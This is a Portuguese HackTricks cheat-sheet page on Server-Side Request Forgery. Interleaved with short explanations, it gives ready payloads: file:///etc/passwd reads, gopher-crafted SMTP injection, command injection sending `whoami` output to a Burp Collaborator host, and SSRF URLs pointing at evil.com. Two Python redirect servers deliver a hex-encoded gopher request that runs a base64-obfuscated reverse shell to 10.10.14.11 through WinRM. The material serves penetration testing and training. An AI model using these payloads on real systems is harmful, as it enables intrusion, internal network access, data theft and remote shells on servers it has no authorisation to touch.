.. | ||
cloud-ssrf.md | ||
README.md | ||
ssrf-vulnerable-platforms.md | ||
url-format-bypass.md |
SSRF (Server Side Request Forgery)
Use Trickest para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje mesmo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? Ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra The PEASS Family, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.
A falsificação de solicitação do lado do servidor (também conhecida como SSRF) é uma vulnerabilidade de segurança na web que permite a um invasor induzir a aplicação do lado do servidor a fazer solicitações HTTP para um domínio arbitrário escolhido pelo invasor. (De aqui)
Capturar SSRF
A primeira coisa que você precisa fazer é capturar uma interação SSRF provocada por você. Para capturar uma interação HTTP ou DNS, você pode usar ferramentas como:
- Burpcollab
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
Bypass de Domínios na Lista de Permissões
Normalmente, você descobrirá que o SSRF está funcionando apenas em certos domínios ou URLs na lista de permissões. Na página a seguir, você tem uma compilação de técnicas para tentar burlar essa lista de permissões:
{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
Bypass via redirecionamento aberto
Se o servidor estiver corretamente protegido, você poderá burlar todas as restrições explorando um redirecionamento aberto dentro da página da web. Como a página da web permitirá SSRF para o mesmo domínio e provavelmente seguirá redirecionamentos, você pode explorar o redirecionamento aberto para fazer com que o servidor acesse qualquer recurso interno.
Leia mais aqui: https://portswigger.net/web-security/ssrf
Protocolos
file://
file:///etc/passwd
dict://
O esquema de URL DICT é usado para se referir a definições ou listas de palavras disponíveis usando o protocolo DICT:
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/
SFTP://
Um protocolo de rede usado para transferência segura de arquivos sobre o shell seguro.
ssrf.php?url=sftp://evil.com:11111/
TFTP://
O Protocolo de Transferência de Arquivos Trivial, funciona sobre o UDP.
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
LDAP://
Protocolo de Acesso a Diretório Leve. É um protocolo de aplicação usado em uma rede IP para gerenciar e acessar o serviço de informações de diretório distribuído.
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
Usando esse protocolo, você pode especificar o IP, porta e bytes que deseja que o servidor envie. Em seguida, você pode basicamente explorar um SSRF para comunicar-se com qualquer servidor TCP (mas você precisa saber como falar com o serviço primeiro).
Felizmente, você pode usar o Gopherus para criar payloads para vários serviços. Além disso, o remote-method-guesser pode ser usado para criar payloads gopher para serviços Java RMI.
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
Gopher HTTP
O Gopher HTTP é uma técnica de ataque que explora vulnerabilidades de SSRF (Server-Side Request Forgery) para enviar solicitações HTTP a partir do servidor alvo. Essa técnica permite que um invasor acesse recursos internos da rede, como arquivos, serviços e APIs, através do servidor comprometido.
O SSRF ocorre quando um aplicativo web permite que o usuário especifique uma URL para fazer uma solicitação HTTP. No entanto, o aplicativo não valida adequadamente a URL fornecida e permite que o usuário especifique URLs que apontam para recursos internos da rede. Isso pode ser explorado pelo invasor para enviar solicitações HTTP para esses recursos internos.
O Gopher HTTP aproveita o protocolo Gopher, que é um protocolo de transferência de documentos mais antigo que o HTTP. O invasor pode criar uma URL Gopher que aponta para um recurso interno da rede e, em seguida, enviar essa URL para o servidor alvo através da vulnerabilidade de SSRF. O servidor, ao processar a solicitação, fará uma solicitação HTTP para a URL Gopher fornecida pelo invasor, permitindo assim o acesso aos recursos internos.
Para mitigar o risco de ataques de SSRF, é importante implementar uma validação adequada das URLs fornecidas pelos usuários. Isso inclui a verificação do esquema da URL (por exemplo, permitindo apenas URLs HTTP ou HTTPS), a restrição de domínios permitidos e a utilização de listas brancas de IPs. Além disso, é recomendado restringir o acesso a recursos internos da rede e limitar as permissões do servidor comprometido.
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
Gopher SMTP - Conexão reversa para 1337
{% code title="redirect.php" %}
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
{% endcode %}
SMTP
De https://twitter.com/har1sec/status/1182255952055164929:
1. Conecte-se com SSRF em localhost:25 smtp
2. A partir da primeira linha, obtenha o nome de domínio interno 220 http://blabla.internaldomain.com ESMTP Sendmail
3. Procure http://internaldomain.com no github, encontre subdomínios
4. Conecte-se
Curl URL globbing - Bypassando WAF
Se o SSRF for executado pelo curl, o curl possui um recurso chamado URL globbing que pode ser útil para contornar WAFs. Por exemplo, neste writeup, você pode encontrar este exemplo de travessia de caminho via protocolo file
:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
Capturar Solicitações SSRF
- Burp Collaborator
- http://requestrepo.com/
- https://app.interactsh.com/
- https://github.com/stolenusername/cowitness
SSRF através do cabeçalho Referrer
Algumas aplicações utilizam software de análise do lado do servidor que rastreia visitantes. Esse software geralmente registra o cabeçalho Referrer nas solicitações, pois isso é de particular interesse para rastrear links de entrada. Muitas vezes, o software de análise realmente visita qualquer URL de terceiros que aparece no cabeçalho Referrer. Isso é feito para analisar o conteúdo dos sites de referência, incluindo o texto âncora usado nos links de entrada. Como resultado, o cabeçalho Referer muitas vezes representa uma superfície de ataque frutífera para vulnerabilidades SSRF.
Para descobrir esse tipo de vulnerabilidade "oculta", você pode usar o plugin "Collaborator Everywhere" do Burp.
SSRF através dos dados SNI do certificado
A configuração incorreta mais simples que permitiria que você se conectasse a um backend arbitrário seria algo parecido com isso:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
Aqui, o valor do campo SNI é usado diretamente como o endereço do backend.
Com essa configuração insegura, podemos explorar a vulnerabilidade SSRF simplesmente especificando o IP ou nome de domínio desejado no campo SNI. Por exemplo, o seguinte comando forçaria o Nginx a se conectar a internal.host.com:
openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf
Upload de arquivo Wget
SSRF com Injeção de Comandos
Pode valer a pena tentar um payload como: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
Renderização de PDFs
Se a página da web estiver criando automaticamente um PDF com algumas informações fornecidas por você, você pode inserir algum JS que será executado pelo próprio criador de PDF (o servidor) ao criar o PDF e você poderá abusar de um SSRF. Encontre mais informações aqui.
De SSRF para DoS
Crie várias sessões e tente baixar arquivos pesados explorando o SSRF das sessões.
Funções PHP SSRF
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}
Redirecionamento SSRF para Gopher
Para algumas explorações, você pode precisar enviar uma resposta de redirecionamento (potencialmente para usar um protocolo diferente, como gopher). Aqui estão diferentes códigos python para responder com um redirecionamento:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Use Trickest para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje mesmo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Bypass de CORS/SOP com DNS Rebidding
Se você está tendo problemas para extrair conteúdo de um IP local por causa do CORS/SOP, o DNS Rebidding pode ser usado para contornar essa limitação:
{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}
DNS Rebidding Automatizado
Singularity of Origin
é uma ferramenta para realizar ataques de DNS rebinding. Ele inclui os componentes necessários para vincular o endereço IP do servidor de ataque ao nome DNS da máquina de destino e para servir payloads de ataque para explorar software vulnerável na máquina de destino.
Confira também o servidor em execução publicamente em http://rebind.it/singularity.html****
DNS Rebidding + TLS Session ID/Session ticket
Requisitos:
- SSRF
- Sessões TLS de saída
- Coisas em portas locais
Ataque:
- Peça ao usuário/bot para acessar um domínio controlado pelo atacante
- O TTL do DNS é de 0 segundos (para que a vítima verifique o IP do domínio novamente em breve)
- É criada uma conexão TLS entre a vítima e o domínio do atacante. O atacante introduz o payload dentro do ID da Sessão ou Ticket da Sessão.
- O domínio iniciará um loop infinito de redirecionamentos contra ele mesmo. O objetivo disso é fazer com que o usuário/bot acesse o domínio até que ele faça novamente uma solicitação DNS do domínio.
- Na solicitação DNS, é fornecido um endereço IP privado (por exemplo, 127.0.0.1)
- O usuário/bot tentará restabelecer a conexão TLS e, para fazer isso, ele enviará o ID da Sessão/Ticket da Sessão (onde o payload do atacante estava contido). Parabéns, você conseguiu fazer com que o usuário/bot atacasse a si mesmo.
Observe que, durante esse ataque, se você quiser atacar localhost:11211 (memcache), você precisa fazer com que a vítima estabeleça a conexão inicial com www.attacker.com:11211 (a porta deve ser sempre a mesma).
Para realizar esse ataque, você pode usar a ferramenta: https://github.com/jmdx/TLS-poison/
Para mais informações, confira a palestra onde esse ataque é explicado: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
SSRF Cego
A diferença entre um SSRF cego e um não cego é que no cego você não pode ver a resposta da solicitação SSRF. Portanto, é mais difícil de explorar, pois você só poderá explorar vulnerabilidades conhecidas.
SSRF baseado em tempo
Verificando o tempo das respostas do servidor, pode ser possível saber se um recurso existe ou não (talvez leve mais tempo para acessar um recurso existente do que acessar um que não existe)
Exploração de SSRF em Nuvem
Se você encontrar uma vulnerabilidade de SSRF em uma máquina em execução em um ambiente de nuvem, poderá obter informações interessantes sobre o ambiente de nuvem e até mesmo credenciais:
{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}
Plataformas Vulneráveis a SSRF
Várias plataformas conhecidas contêm ou já contiveram vulnerabilidades de SSRF, verifique-as em:
{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}
Ferramentas
SSRFMap
Ferramenta para detectar e explorar vulnerabilidades de SSRF
Gopherus
Esta ferramenta gera payloads Gopher para:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
remote-method-guesser é um scanner de vulnerabilidades do Java RMI que suporta operações de ataque para a maioria das vulnerabilidades comuns do Java RMI. A maioria das operações disponíveis suporta a opção --ssrf
, para gerar um payload SSRF para a operação solicitada. Juntamente com a opção --gopher
, payloads gopher prontos para uso podem ser gerados diretamente.
SSRF Proxy
SSRF Proxy é um servidor proxy HTTP multithreaded projetado para direcionar o tráfego HTTP do cliente por meio de servidores HTTP vulneráveis a Server-Side Request Forgery (SSRF).
Para praticar
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
Referências
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à versão mais recente do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Obtenha o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e o repositório hacktricks-cloud.
Use Trickest para construir e automatizar fluxos de trabalho com facilidade, utilizando as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje mesmo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}